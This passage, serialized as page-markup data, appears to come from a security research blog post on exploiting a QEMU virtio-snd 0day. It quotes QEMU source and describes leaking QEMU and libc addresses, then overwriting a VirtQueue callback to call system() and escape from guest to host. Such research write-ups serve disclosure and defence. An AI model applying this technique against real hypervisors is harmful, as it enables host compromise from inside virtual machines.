VIRTIO_SND",{"type":25,"tag":201,"props":131749,"children":131750},{"style":220},[131751],{"type":31,"value":131752},"(vdev);\n",{"type":25,"tag":201,"props":131754,"children":131755},{"class":203,"line":311},[131756,131760,131764],{"type":25,"tag":201,"props":131757,"children":131758},{"style":220},[131759],{"type":31,"value":125946},{"type":25,"tag":201,"props":131761,"children":131762},{"style":261},[131763],{"type":31,"value":6077},{"type":25,"tag":201,"props":131765,"children":131766},{"style":220},[131767],{"type":31,"value":125955},{"type":25,"tag":201,"props":131769,"children":131770},{"class":203,"line":330},[131771,131775,131779],{"type":25,"tag":201,"props":131772,"children":131773},{"style":220},[131774],{"type":31,"value":124975},{"type":25,"tag":201,"props":131776,"children":131777},{"style":261},[131778],{"type":31,"value":6077},{"type":25,"tag":201,"props":131780,"children":131781},{"style":220},[131782],{"type":31,"value":124984},{"type":25,"tag":201,"props":131784,"children":131785},{"class":203,"line":397},[131786,131790],{"type":25,"tag":201,"props":131787,"children":131788},{"style":208},[131789],{"type":31,"value":18060},{"type":25,"tag":201,"props":131791,"children":131792},{"style":220},[131793],{"type":31,"value":131794}," msg_sz, size;\n",{"type":25,"tag":201,"props":131796,"children":131797},{"class":203,"line":437},[131798,131803],{"type":25,"tag":201,"props":131799,"children":131800},{"style":208},[131801],{"type":31,"value":131802},"    uint32_t",{"type":25,"tag":201,"props":131804,"children":131805},{"style":220},[131806],{"type":31,"value":131807}," stream_id;\n",{"type":25,"tag":201,"props":131809,"children":131810},{"class":203,"line":464},[131811],{"type":25,"tag":201,"props":131812,"children":131813},{"emptyLinePlaceholder":17},[131814],{"type":31,"value":496},{"type":25,"tag":201,"props":131816,"children":131817},{"class":203,"line":490},[131818],{"type":25,"tag":201,"props":131819,"children":131820},{"style":220},[131821],{"type":31,"value":105885},{"type":25,"tag":201,"props":131823,"children":131824},{"class":203,"line":499},[131825],{"type":25,"tag":201,"props":131826,"children":131827},{"emptyLinePlaceholder":17},[131828],{"type":31,"value":496},{"type":25,"tag":201,"props":131830,"children":131831},{"class":203,"line":522},[131832,131836],{"type":25,"tag":201,"props":131833,"children":131834},{"style":230},[131835],{"type":31,"value":4539},{"type":25,"tag":201,"props":131837,"children":131838},{"style":220},[131839],{"type":31,"value":125010},{"type":25,"tag":201,"props":131841,"children":131842},{"class":203,"line":531},[131843,131847,131851],{"type":25,"tag":201,"props":131844,"children":131845},{"style":220},[131846],{"type":31,"value":125018},{"type":25,"tag":201,"props":131848,"children":131849},{"style":261},[131850],{"type":31,"value":6077},{"type":25,"tag":201,"props":131852,"children":131853},{"style":220},[131854],{"type":31,"value":125027},{"type":25,"tag":201,"props":131856,"children":131857},{"class":203,"line":550},[131858],{"type":25,"tag":201,"props":131859,"children":131860},{"emptyLinePlaceholder":17},[131861],{"type":31,"value":496},{"type":25,"tag":201,"props":131863,"children":131864},{"class":203,"line":563},[131865,131869,131873,131877,131881,131885],{"type":25,"tag":201,"props":131866,"children":131867},{"style":220},[131868],{"type":31,"value":125042},{"type":25,"tag":201,"props":131870,"children":131871},{"style":261},[131872],{"type":31,"value":1383},{"type":25,"tag":201,"props":131874,"children":131875},{"style":214},[131876],{"type":31,"value":125051},{"type":25,"tag":201,"props":131878,"children":131879},{"style":220},[131880],{"type":31,"value":125056},{"type":25,"tag":201,"props":131882,"children":131883},{"style":208},[131884],{"type":31,"value":56406},{"type":25,"tag":201,"props":131886,"children":131887},{"style":220},[131888],{"type":31,"value":131889},"(VirtQueueElement));\n",{"type":25,"tag":201,"props":131891,"children":131892},{"class":203,"line":572},[131893,131897,131901,131905],{"type":25,"tag":201,"props":131894,"children":131895},{"style":230},[131896],{"type":31,"value":4779},{"type":25,"tag":201,"props":131898,"children":131899},{"style":220},[131900],{"type":31,"value":238},{"type":25,"tag":201,"props":131902,"children":131903},{"style":261},[131904],{"type":31,"value":4114},{"type":25,"tag":201,"props":131906,"children":131907},{"style":220},[131908],{"type":31,"value":125090},{"type":25,"tag":201,"props":131910,"children":131911},{"class":203,"line":590},[131912,131916],{"type":25,"tag":201,"props":131913,"children":131914},{"style":230},[131915],{"type":31,"value":4805},{"type":25,"tag":201,"props":131917,"children":131918},{"style":220},[131919],{"type":31,"value":461},{"type":25,"tag":201,"props":131921,"children":131922},{"class":203,"line":608},[131923],{"type":25,"tag":201,"props":131924,"children":131925},{"style":220},[131926],{"type":31,"value":4853},{"type":25,"tag":201,"props":131928,"children":131929},{"class":203,"line":617},[131930],{"type":25,"tag":201,"props":131931,"children":131932},{"style":4497},[131933],{"type":31,"value":131934},"        /* get the message hdr object */\n",{"type":25,"tag":201,"props":131936,"children":131937},{"class":203,"line":625},[131938,131943,131947,131952,131956,131960,131964,131968],{"type":25,"tag":201,"props":131939,"children":131940},{"style":220},[131941],{"type":31,"value":131942},"        msg_sz ",{"type":25,"tag":201,"props":131944,"children":131945},{"style":261},[131946],{"type":31,"value":1383},{"type":25,"tag":201,"props":131948,"children":131949},{"style":214},[131950],{"type":31,"value":131951}," iov_to_buf",{"type":25,"tag":201,"props":131953,"children":131954},{"style":220},[131955],{"type":31,"value":298},{"type":25,"tag":201,"props":131957,"children":131958},{"style":246},[131959],{"type":31,"value":53142},{"type":25,"tag":201,"props":131961,"children":131962},{"style":220},[131963],{"type":31,"value":15259},{"type":25,"tag":201,"props":131965,"children":131966},{"style":246},[131967],{"type":31,"value":125494},{"type":25,"tag":201,"props":131969,"children":131970},{"style":220},[131971],{"type":31,"value":547},{"type":25,"tag":201,"props":131973,"children":131974},{"class":203,"line":642},[131975,131980,131984,131989],{"type":25,"tag":201,"props":131976,"children":131977},{"style":246},[131978],{"type":31,"value":131979},"                            elem",{"type":25,"tag":201,"props":131981,"children":131982},{"style":220},[131983],{"type":31,"value":15259},{"type":25,"tag":201,"props":131985,"children":131986},{"style":246},[131987],{"type":31,"value":131988},"out_num",{"type":25,"tag":201,"props":131990,"children":131991},{"style":220},[131992],{"type":31,"value":547},{"type":25,"tag":201,"props":131994,"children":131995},{"class":203,"line":659},[131996,132001],{"type":25,"tag":201,"props":131997,"children":131998},{"style":426},[131999],{"type":31,"value":132000},"                            0",{"type":25,"tag":201,"props":132002,"children":132003},{"style":220},[132004],{"type":31,"value":547},{"type":25,"tag":201,"props":132006,"children":132007},{"class":203,"line":667},[132008,132013],{"type":25,"tag":201,"props":132009,"children":132010},{"style":261},[132011],{"type":31,"value":132012},"                            &",{"type":25,"tag":201,"props":132014,"children":132015},{"style":220},[132016],{"type":31,"value":132017},"hdr,\n",{"type":25,"tag":201,"props":132019,"children":132020},{"class":203,"line":676},[132021,132026],{"type":25,"tag":201,"props":132022,"children":132023},{"style":208},[132024],{"type":31,"value":132025},"                            sizeof",{"type":25,"tag":201,"props":132027,"children":132028},{"style":220},[132029],{"type":31,"value":132030},"(virtio_snd_pcm_xfer));\n",{"type":25,"tag":201,"props":132032,"children":132033},{"class":203,"line":694},[132034,132038,132043,132047,132052],{"type":25,"tag":201,"props":132035,"children":132036},{"style":230},[132037],{"type":31,"value":4779},{"type":25,"tag":201,"props":132039,"children":132040},{"style":220},[132041],{"type":31,"value":132042}," (msg_sz ",{"type":25,"tag":201,"props":132044,"children":132045},{"style":261},[132046],{"type":31,"value":17184},{"type":25,"tag":201,"props":132048,"children":132049},{"style":208},[132050],{"type":31,"value":132051}," sizeof",{"type":25,"tag":201,"props":132053,"children":132054},{"style":220},[132055],{"type":31,"value":132056},"(virtio_snd_pcm_xfer)) {\n",{"type":25,"tag":201,"props":132058,"children":132059},{"class":203,"line":707},[132060,132064],{"type":25,"tag":201,"props":132061,"children":132062},{"style":230},[132063],{"type":31,"value":61629},{"type":25,"tag":201,"props":132065,"children":132066},{"style":220},[132067],{"type":31,"value":132068}," rx_err;\n",{"type":25,"tag":201,"props":132070,"children":132071},{"class":203,"line":715},[132072],{"type":25,"tag":201,"props":132073,"children":132074},{"style":220},[132075],{"type":31,"value":4853},{"type":25,"tag":201,"props":132077,"children":132078},{"class":203,"line":732},[132079,132084,132088,132092,132096,132101,132105,132110],{"type":25,"tag":201,"props":132080,"children":132081},{"style":220},[132082],{"type":31,"value":132083},"        stream_id ",{"type":25,"tag":201,"props":132085,"children":132086},{"style":261},[132087],{"type":31,"value":1383},{"type":25,"tag":201,"props":132089,"children":132090},{"style":214},[132091],{"type":31,"value":126956},{"type":25,"tag":201,"props":132093,"children":132094},{"style":220},[132095],{"type":31,"value":298},{"type":25,"tag":201,"props":132097,"children":132098},{"style":246},[132099],{"type":31,"value":132100},"hdr",{"type":25,"tag":201,"props":132102,"children":132103},{"style":220},[132104],{"type":31,"value":80},{"type":25,"tag":201,"props":132106,"children":132107},{"style":246},[132108],{"type":31,"value":132109},"stream_id",{"type":25,"tag":201,"props":132111,"children":132112},{"style":220},[132113],{"type":31,"value":308},{"type":25,"tag":201,"props":132115,"children":132116},{"class":203,"line":749},[132117],{"type":25,"tag":201,"props":132118,"children":132119},{"emptyLinePlaceholder":17},[132120],{"type":31,"value":496},{"type":25,"tag":201,"props":132122,"children":132123},{"class":203,"line":757},[132124],{"type":25,"tag":201,"props":132125,"children":132126},{"style":220},[132127],{"type":31,"value":125123},{"type":25,"tag":201,"props":132129,"children":132130},{"class":203,"line":765},[132131],{"type":25,"tag":201,"props":132132,"children":132133},{"emptyLinePlaceholder":17},[132134],{"type":31,"value":496},{"type":25,"tag":201,"props":132136,"children":132137},{"class":203,"line":783},[132138,132142,132146,132150,132154,132158,132162],{"type":25,"tag":201,"props":132139,"children":132140},{"style":214},[132141],{"type":31,"value":125138},{"type":25,"tag":201,"props":132143,"children":132144},{"style":220},[132145],{"type":31,"value":298},{"type":25,"tag":201,"props":132147,"children":132148},{"style":261},[132149],{"type":31,"value":4615},{"type":25,"tag":201,"props":132151,"children":132152},{"style":246},[132153],{"type":31,"value":37331},{"type":25,"tag":201,"props":132155,"children":132156},{"style":220},[132157],{"type":31,"value":15259},{"type":25,"tag":201,"props":132159,"children":132160},{"style":246},[132161],{"type":31,"value":125159},{"type":25,"tag":201,"props":132163,"children":132164},{"style":220},[132165],{"type":31,"value":275},{"type":25,"tag":201,"props":132167,"children":132168},{"class":203,"line":792},[132169,132173,132177,132181,132185,132189,132193,132197,132201,132205,132209,132213,132217],{"type":25,"tag":201,"props":132170,"children":132171},{"style":220},[132172],{"type":31,"value":125171},{"type":25,"tag":201,"props":132174,"children":132175},{"style":261},[132176],{"type":31,"value":1383},{"type":25,"tag":201,"props":132178,"children":132179},{"style":214},[132180],{"type":31,"value":125180},{"type":25,"tag":201,"props":132182,"children":132183},{"style":220},[132184],{"type":31,"value":298},{"type":25,"tag":201,"props":132186,"children":132187},{"style":246},[132188],{"type":31,"value":53142},{"type":25,"tag":201,"props":132190,"children":132191},{"style":220},[132192],{"type":31,"value":15259},{"type":25,"tag":201,"props":132194,"children":132195},{"style":246},[132196],{"type":31,"value":125197},{"type":25,"tag":201,"props":132198,"children":132199},{"style":220},[132200],{"type":31,"value":919},{"type":25,"tag":201,"props":132202,"children":132203},{"style":246},[132204],{"type":31,"value":53142},{"type":25,"tag":201,"props":132206,"children":132207},{"style":220},[132208],{"type":31,"value":15259},{"type":25,"tag":201,"props":132210,"children":132211},{"style":246},[132212],{"type":31,"value":125214},{"type":25,"tag":201,"props":132214,"children":132215},{"style":220},[132216],{"type":31,"value":385},{"type":25,"tag":201,"props":132218,"children":132219},{"style":261},[132220],{"type":31,"value":51939},{"type":25,"tag":201,"props":132222,"children":132223},{"class":203,"line":801},[132224,132228],{"type":25,"tag":201,"props":132225,"children":132226},{"style":208},[132227],{"type":31,"value":125230},{"type":25,"tag":201,"props":132229,"children":132230},{"style":220},[132231],{"type":31,"value":132232},"(virtio_snd_pcm_status);\n",{"type":25,"tag":201,"props":132234,"children":132235},{"class":203,"line":809},[132236,132240,132244,132248,132252,132256,132260,132264,132269],{"type":25,"tag":201,"props":132237,"children":132238},{"style":220},[132239],{"type":31,"value":125248},{"type":25,"tag":201,"props":132241,"children":132242},{"style":261},[132243],{"type":31,"value":1383},{"type":25,"tag":201,"props":132245,"children":132246},{"style":214},[132247],{"type":31,"value":125257},{"type":25,"tag":201,"props":132249,"children":132250},{"style":220},[132251],{"type":31,"value":298},{"type":25,"tag":201,"props":132253,"children":132254},{"style":208},[132255],{"type":31,"value":56406},{"type":25,"tag":201,"props":132257,"children":132258},{"style":220},[132259],{"type":31,"value":125270},{"type":25,"tag":201,"props":132261,"children":132262},{"style":261},[132263],{"type":31,"value":5886},{"type":25,"tag":201,"props":132265,"children":132266},{"style":220},[132267],{"type":31,"value":132268}," size);",{"type":25,"tag":201,"props":132270,"children":132271},{"style":4497},[132272],{"type":31,"value":132273},"    // [1]\n",{"type":25,"tag":201,"props":132275,"children":132276},{"class":203,"line":857},[132277,132281,132285,132289,132293],{"type":25,"tag":201,"props":132278,"children":132279},{"style":246},[132280],{"type":31,"value":125287},{"type":25,"tag":201,"props":132282,"children":132283},{"style":220},[132284],{"type":31,"value":15259},{"type":25,"tag":201,"props":132286,"children":132287},{"style":246},[132288],{"type":31,"value":53142},{"type":25,"tag":201,"props":132290,"children":132291},{"style":261},[132292],{"type":31,"value":413},{"type":25,"tag":201,"props":132294,"children":132295},{"style":220},[132296],{"type":31,"value":125304},{"type":25,"tag":201,"props":132298,"children":132299},{"class":203,"line":865},[132300,132304,132308,132312,132316,132321],{"type":25,"tag":201,"props":132301,"children":132302},{"style":246},[132303],{"type":31,"value":125287},{"type":25,"tag":201,"props":132305,"children":132306},{"style":220},[132307],{"type":31,"value":15259},{"type":25,"tag":201,"props":132309,"children":132310},{"style":246},[132311],{"type":31,"value":124956},{"type":25,"tag":201,"props":132313,"children":132314},{"style":261},[132315],{"type":31,"value":413},{"type":25,"tag":201,"props":132317,"children":132318},{"style":220},[132319],{"type":31,"value":132320}," vq;",{"type":25,"tag":201,"props":132322,"children":132323},{"style":4497},[132324],{"type":31,"value":132325},"                                            // [2]\n",{"type":25,"tag":201,"props":132327,"children":132328},{"class":203,"line":931},[132329,132333,132337,132341,132345,132349],{"type":25,"tag":201,"props":132330,"children":132331},{"style":246},[132332],{"type":31,"value":125287},{"type":25,"tag":201,"props":132334,"children":132335},{"style":220},[132336],{"type":31,"value":15259},{"type":25,"tag":201,"props":132338,"children":132339},{"style":246},[132340],{"type":31,"value":125344},{"type":25,"tag":201,"props":132342,"children":132343},{"style":261},[132344],{"type":31,"value":413},{"type":25,"tag":201,"props":132346,"children":132347},{"style":426},[132348],{"type":31,"value":4554},{"type":25,"tag":201,"props":132350,"children":132351},{"style":220},[132352],{"type":31,"value":461},{"type":25,"tag":201,"props":132354,"children":132355},{"class":203,"line":939},[132356,132360,132364,132368,132372,132376],{"type":25,"tag":201,"props":132357,"children":132358},{"style":246},[132359],{"type":31,"value":125287},{"type":25,"tag":201,"props":132361,"children":132362},{"style":220},[132363],{"type":31,"value":15259},{"type":25,"tag":201,"props":132365,"children":132366},{"style":246},[132367],{"type":31,"value":15403},{"type":25,"tag":201,"props":132369,"children":132370},{"style":261},[132371],{"type":31,"value":413},{"type":25,"tag":201,"props":132373,"children":132374},{"style":426},[132375],{"type":31,"value":4554},{"type":25,"tag":201,"props":132377,"children":132378},{"style":220},[132379],{"type":31,"value":461},{"type":25,"tag":201,"props":132381,"children":132382},{"class":203,"line":960},[132383,132387,132391,132395,132399,132403,132407],{"type":25,"tag":201,"props":132384,"children":132385},{"style":214},[132386],{"type":31,"value":125391},{"type":25,"tag":201,"props":132388,"children":132389},{"style":220},[132390],{"type":31,"value":298},{"type":25,"tag":201,"props":132392,"children":132393},{"style":261},[132394],{"type":31,"value":4615},{"type":25,"tag":201,"props":132396,"children":132397},{"style":246},[132398],{"type":31,"value":37331},{"type":25,"tag":201,"props":132400,"children":132401},{"style":220},[132402],{"type":31,"value":15259},{"type":25,"tag":201,"props":132404,"children":132405},{"style":246},[132406],{"type":31,"value":125412},{"type":25,"tag":201,"props":132408,"children":132409},{"style":220},[132410],{"type":31,"value":132411},", buffer, entry);\n",{"type":25,"tag":201,"props":132413,"children":132414},{"class":203,"line":977},[132415],{"type":25,"tag":201,"props":132416,"children":132417},{"style":220},[132418],{"type":31,"value":4853},{"type":25,"tag":34,"props":132420,"children":132421},{},[132422,132423,132428,132430,132435,132437,132442,132444,132450],{"type":31,"value":125466},{"type":25,"tag":115,"props":132424,"children":132426},{"className":132425},[],[132427],{"type":31,"value":125472},{"type":31,"value":132429},", QEMU allocates a ",{"type":25,"tag":115,"props":132431,"children":132433},{"className":132432},[],[132434],{"type":31,"value":125609},{"type":31,"value":132436}," whose size depends on the guest-provided iovec, and at ",{"type":25,"tag":115,"props":132438,"children":132440},{"className":132439},[],[132441],{"type":31,"value":125507},{"type":31,"value":132443}," it stores the ",{"type":25,"tag":115,"props":132445,"children":132447},{"className":132446},[],[132448],{"type":31,"value":132449},"VirtQueue *vq",{"type":31,"value":132451}," pointer into the buffer.",{"type":25,"tag":34,"props":132453,"children":132454},{},[132455,132456,132462],{"type":31,"value":65297},{"type":25,"tag":115,"props":132457,"children":132459},{"className":132458},[],[132460],{"type":31,"value":132461},"VirtQueue",{"type":31,"value":132463}," structure contains some useful fields:",{"type":25,"tag":191,"props":132465,"children":132467},{"code":132466,"language":4652,"meta":7,"className":18010,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[132468],{"type":25,"tag":115,"props":132469,"children":132470},{"__ignoreMap":7},[132471,132483,132490,132497,132504,132512,132529,132536,132543],{"type":25,"tag":201,"props":132472,"children":132473},{"class":203,"line":204},[132474,132478],{"type":25,"tag":201,"props":132475,"children":132476},{"style":208},[132477],{"type":31,"value":10905},{"type":25,"tag":201,"props":132479,"children":132480},{"style":220},[132481],{"type":31,"value":132482}," VirtQueue\n",{"type":25,"tag":201,"props":132484,"children":132485},{"class":203,"line":226},[132486],{"type":25,"tag":201,"props":132487,"children":132488},{"style":220},[132489],{"type":31,"value":1822},{"type":25,"tag":201,"props":132491,"children":132492},{"class":203,"line":278},[132493],{"type":25,"tag":201,"props":132494,"children":132495},{"style":220},[132496],{"type":31,"value":105885},{"type":25,"tag":201,"props":132498,"children":132499},{"class":203,"line":311},[132500],{"type":25,"tag":201,"props":132501,"children":132502},{"emptyLinePlaceholder":17},[132503],{"type":31,"value":496},{"type":25,"tag":201,"props":132505,"children":132506},{"class":203,"line":330},[132507],{"type":25,"tag":201,"props":132508,"children":132509},{"style":220},[132510],{"type":31,"value":132511},"    VirtIOHandleOutput handle_output;\n",{"type":25,"tag":201,"props":132513,"children":132514},{"class":203,"line":397},[132515,132520,132524],{"type":25,"tag":201,"props":132516,"children":132517},{"style":220},[132518],{"type":31,"value":132519},"    VirtIODevice ",{"type":25,"tag":201,"props":132521,"children":132522},{"style":261},[132523],{"type":31,"value":6077},{"type":25,"tag":201,"props":132525,"children":132526},{"style":220},[132527],{"type":31,"value":132528},"vdev;\n",{"type":25,"tag":201,"props":132530,"children":132531},{"class":203,"line":437},[132532],{"type":25,"tag":201,"props":132533,"children":132534},{"emptyLinePlaceholder":17},[132535],{"type":31,"value":496},{"type":25,"tag":201,"props":132537,"children":132538},{"class":203,"line":464},[132539],{"type":25,"tag":201,"props":132540,"children":132541},{"style":220},[132542],{"type":31,"value":105885},{"type":25,"tag":201,"props":132544,"children":132545},{"class":203,"line":490},[132546],{"type":25,"tag":201,"props":132547,"children":132548},{"style":220},[132549],{"type":31,"value":18073},{"type":25,"tag":34,"props":132551,"children":132552},{},[132553,132554,132560,132562,132568],{"type":31,"value":18109},{"type":25,"tag":115,"props":132555,"children":132557},{"className":132556},[],[132558],{"type":31,"value":132559},".handle_output",{"type":31,"value":132561}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":25,"tag":115,"props":132563,"children":132565},{"className":132564},[],[132566],{"type":31,"value":132567},".vdev",{"type":31,"value":132569}," is the pointer passed to it as the first argument:",{"type":25,"tag":191,"props":132571,"children":132573},{"code":132572,"language":4652,"meta":7,"className":18010,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[132574],{"type":25,"tag":115,"props":132575,"children":132576},{"__ignoreMap":7},[132577,132610,132617,132672,132709,132716,132723,132730,132751,132758,132765,132772],{"type":25,"tag":201,"props":132578,"children":132579},{"class":203,"line":204},[132580,132584,132588,132593,132598,132602,132606],{"type":25,"tag":201,"props":132581,"children":132582},{"style":208},[132583],{"type":31,"value":52122},{"type":25,"tag":201,"props":132585,"children":132586},{"style":208},[132587],{"type":31,"value":52127},{"type":25,"tag":201,"props":132589,"children":132590},{"style":214},[132591],{"type":31,"value":132592}," virtio_queue_notify_vq",{"type":25,"tag":201,"props":132594,"children":132595},{"style":220},[132596],{"type":31,"value":132597},"(VirtQueue ",{"type":25,"tag":201,"props":132599,"children":132600},{"style":261},[132601],{"type":31,"value":6077},{"type":25,"tag":201,"props":132603,"children":132604},{"style":246},[132605],{"type":31,"value":124956},{"type":25,"tag":201,"props":132607,"children":132608},{"style":220},[132609],{"type":31,"value":4666},{"type":25,"tag":201,"props":132611,"children":132612},{"class":203,"line":226},[132613],{"type":25,"tag":201,"props":132614,"children":132615},{"style":220},[132616],{"type":31,"value":1822},{"type":25,"tag":201,"props":132618,"children":132619},{"class":203,"line":278},[132620,132624,132628,132632,132636,132641,132645,132650,132654,132659,132663,132668],{"type":25,"tag":201,"props":132621,"children":132622},{"style":230},[132623],{"type":31,"value":13781},{"type":25,"tag":201,"props":132625,"children":132626},{"style":220},[132627],{"type":31,"value":238},{"type":25,"tag":201,"props":132629,"children":132630},{"style":246},[132631],{"type":31,"value":124956},{"type":25,"tag":201,"props":132633,"children":132634},{"style":220},[132635],{"type":31,"value":15259},{"type":25,"tag":201,"props":132637,"children":132638},{"style":246},[132639],{"type":31,"value":132640},"vring",{"type":25,"tag":201,"props":132642,"children":132643},{"style":220},[132644],{"type":31,"value":80},{"type":25,"tag":201,"props":132646,"children":132647},{"style":246},[132648],{"type":31,"value":132649},"desc",{"type":25,"tag":201,"props":132651,"children":132652},{"style":261},[132653],{"type":31,"value":15687},{"type":25,"tag":201,"props":132655,"children":132656},{"style":246},[132657],{"type":31,"value":132658}," vq",{"type":25,"tag":201,"props":132660,"children":132661},{"style":220},[132662],{"type":31,"value":15259},{"type":25,"tag":201,"props":132664,"children":132665},{"style":246},[132666],{"type":31,"value":132667},"handle_output",{"type":25,"tag":201,"props":132669,"children":132670},{"style":220},[132671],{"type":31,"value":275},{"type":25,"tag":201,"props":132673,"children":132674},{"class":203,"line":311},[132675,132680,132684,132689,132693,132697,132701,132705],{"type":25,"tag":201,"props":132676,"children":132677},{"style":220},[132678],{"type":31,"value":132679},"        VirtIODevice ",{"type":25,"tag":201,"props":132681,"children":132682},{"style":261},[132683],{"type":31,"value":6077},{"type":25,"tag":201,"props":132685,"children":132686},{"style":220},[132687],{"type":31,"value":132688},"vdev ",{"type":25,"tag":201,"props":132690,"children":132691},{"style":261},[132692],{"type":31,"value":1383},{"type":25,"tag":201,"props":132694,"children":132695},{"style":246},[132696],{"type":31,"value":132658},{"type":25,"tag":201,"props":132698,"children":132699},{"style":220},[132700],{"type":31,"value":15259},{"type":25,"tag":201,"props":132702,"children":132703},{"style":246},[132704],{"type":31,"value":124942},{"type":25,"tag":201,"props":132706,"children":132707},{"style":220},[132708],{"type":31,"value":461},{"type":25,"tag":201,"props":132710,"children":132711},{"class":203,"line":330},[132712],{"type":25,"tag":201,"props":132713,"children":132714},{"emptyLinePlaceholder":17},[132715],{"type":31,"value":496},{"type":25,"tag":201,"props":132717,"children":132718},{"class":203,"line":397},[132719],{"type":25,"tag":201,"props":132720,"children":132721},{"style":220},[132722],{"type":31,"value":125123},{"type":25,"tag":201,"props":132724,"children":132725},{"class":203,"line":437},[132726],{"type":25,"tag":201,"props":132727,"children":132728},{"emptyLinePlaceholder":17},[132729],{"type":31,"value":496},{"type":25,"tag":201,"props":132731,"children":132732},{"class":203,"line":464},[132733,132738,132742,132746],{"type":25,"tag":201,"props":132734,"children":132735},{"style":246},[132736],{"type":31,"value":132737},"        vq",{"type":25,"tag":201,"props":132739,"children":132740},{"style":220},[132741],{"type":31,"value":15259},{"type":25,"tag":201,"props":132743,"children":132744},{"style":214},[132745],{"type":31,"value":132667},{"type":25,"tag":201,"props":132747,"children":132748},{"style":220},[132749],{"type":31,"value":132750},"(vdev, vq);\n",{"type":25,"tag":201,"props":132752,"children":132753},{"class":203,"line":490},[132754],{"type":25,"tag":201,"props":132755,"children":132756},{"emptyLinePlaceholder":17},[132757],{"type":31,"value":496},{"type":25,"tag":201,"props":132759,"children":132760},{"class":203,"line":499},[132761],{"type":25,"tag":201,"props":132762,"children":132763},{"style":220},[132764],{"type":31,"value":125123},{"type":25,"tag":201,"props":132766,"children":132767},{"class":203,"line":522},[132768],{"type":25,"tag":201,"props":132769,"children":132770},{"style":220},[132771],{"type":31,"value":4861},{"type":25,"tag":201,"props":132773,"children":132774},{"class":203,"line":531},[132775],{"type":25,"tag":201,"props":132776,"children":132777},{"style":220},[132778],{"type":31,"value":1187},{"type":25,"tag":34,"props":132780,"children":132781},{},[132782,132784,132789,132791,132796,132798,132804,132806,132811,132812,132817,132819,132824],{"type":31,"value":132783},"This means that if we free the known-address chunk and replace it with a ",{"type":25,"tag":115,"props":132785,"children":132787},{"className":132786},[],[132788],{"type":31,"value":125609},{"type":31,"value":132790}," - which is straightforward, since we control the buffer allocation size through the ",{"type":25,"tag":115,"props":132792,"children":132794},{"className":132793},[],[132795],{"type":31,"value":125197},{"type":31,"value":132797}," iovec - we can use the arbitrary read primitive to read its ",{"type":25,"tag":115,"props":132799,"children":132801},{"className":132800},[],[132802],{"type":31,"value":132803},".vq",{"type":31,"value":132805}," pointer, then follow that pointer to leak ",{"type":25,"tag":115,"props":132807,"children":132809},{"className":132808},[],[132810],{"type":31,"value":132559},{"type":31,"value":17548},{"type":25,"tag":115,"props":132813,"children":132815},{"className":132814},[],[132816],{"type":31,"value":132461},{"type":31,"value":132818}," structure. In our case, that field points to ",{"type":25,"tag":115,"props":132820,"children":132822},{"className":132821},[],[132823],{"type":31,"value":124849},{"type":31,"value":132825},", which gives us QEMU's base address.",{"type":25,"tag":34,"props":132827,"children":132828},{},[132829,132831,132837],{"type":31,"value":132830},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":25,"tag":115,"props":132832,"children":132834},{"className":132833},[],[132835],{"type":31,"value":132836},"system",{"type":31,"value":80},{"type":25,"tag":40,"props":132839,"children":132841},{"id":132840},"rip-control",[132842],{"type":31,"value":132843},"RIP Control",{"type":25,"tag":34,"props":132845,"children":132846},{},[132847,132849,132854,132856,132862],{"type":31,"value":132848},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":25,"tag":115,"props":132850,"children":132852},{"className":132851},[],[132853],{"type":31,"value":132836},{"type":31,"value":132855},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":25,"tag":115,"props":132857,"children":132859},{"className":132858},[],[132860],{"type":31,"value":132861},"VirtQueue.handle_output",{"type":31,"value":80},{"type":25,"tag":34,"props":132864,"children":132865},{},[132866,132868,132873,132875,132880,132882,132887],{"type":31,"value":132867},"We overwrite ",{"type":25,"tag":115,"props":132869,"children":132871},{"className":132870},[],[132872],{"type":31,"value":132559},{"type":31,"value":132874}," with the address of ",{"type":25,"tag":115,"props":132876,"children":132878},{"className":132877},[],[132879],{"type":31,"value":132836},{"type":31,"value":132881}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":25,"tag":115,"props":132883,"children":132885},{"className":132884},[],[132886],{"type":31,"value":132567},{"type":31,"value":132888}," with the address of that command string, so it is passed as the first argument.",{"type":25,"tag":34,"props":132890,"children":132891},{},[132892,132894,132900,132902,132908,132910,132916],{"type":31,"value":132893},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":25,"tag":115,"props":132895,"children":132897},{"className":132896},[],[132898],{"type":31,"value":132899},"virtio_queue_notify_vq",{"type":31,"value":132901},", which calls ",{"type":25,"tag":115,"props":132903,"children":132905},{"className":132904},[],[132906],{"type":31,"value":132907},"vq->handle_output(vq->vdev)",{"type":31,"value":132909}," - or, after our overwrites, ",{"type":25,"tag":115,"props":132911,"children":132913},{"className":132912},[],[132914],{"type":31,"value":132915},"system(command)",{"type":31,"value":80},{"type":25,"tag":34,"props":132918,"children":132919},{},[132920,132922,132928,132930],{"type":31,"value":132921},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":25,"tag":115,"props":132923,"children":132925},{"className":132924},[],[132926],{"type":31,"value":132927},"gnome-calculator",{"type":31,"value":132929}," on the host system:\n",{"type":25,"tag":32453,"props":132931,"children":132932},{},[],{"type":25,"tag":132934,"props":132935,"children":132944},"tweet-card",{"author-name":132936,"date":132937,"duration":132938,"handle":132939,"media-mime-type":132940,"media-src":132941,"media-type":132942,"tweet-url":132943},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[132945,132950,132955],{"type":25,"tag":34,"props":132946,"children":132947},{},[132948],{"type":31,"value":132949},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":25,"tag":34,"props":132951,"children":132952},{},[132953],{"type":31,"value":132954},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control 